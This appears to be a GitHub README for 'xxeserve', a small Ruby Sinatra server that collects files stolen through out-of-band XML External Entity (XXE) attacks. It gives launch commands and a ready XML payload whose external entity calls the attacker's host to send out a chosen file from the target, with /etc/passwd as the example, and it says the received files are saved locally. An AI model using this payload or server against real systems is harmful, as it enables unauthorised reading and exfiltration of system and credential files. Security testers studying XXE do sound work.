/xxeserve

XXE Out of Band Server.

Primary LanguageRuby

XXE Out of Band Server.

This tiny Sinatra app will assist you in using the XXE Out of Band technique described in [0].

Usage:

Start on default port of 443 (may need sudo on some systems)

ruby xxeserve.rb

Pass in port to start on

ruby xxeserve.rb 8080

Trigger the XML parser with the following XML:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://YOURHOST:YOURPORT/xml?f=FULLPATH">
%remote;
%int;
%trick;]>

Where YOURHOST and YOURPORT needs to be set to the host/port this app runs on in the URL you provide. FULLPATH needs to be set to the full absolute path of the to be read file (e.g. f=/etc/passwd)

e.g. http://8.8.8.8:443/xml?f=/etc/passwd

The according file will be send to the app and stored under ./files

Depending on the targeted parser it may not work with all files.

[0] http://www.nosuchcon.org/talks/2013/D3_03_Alex&Timur_XML_Out_Of_Band.pdf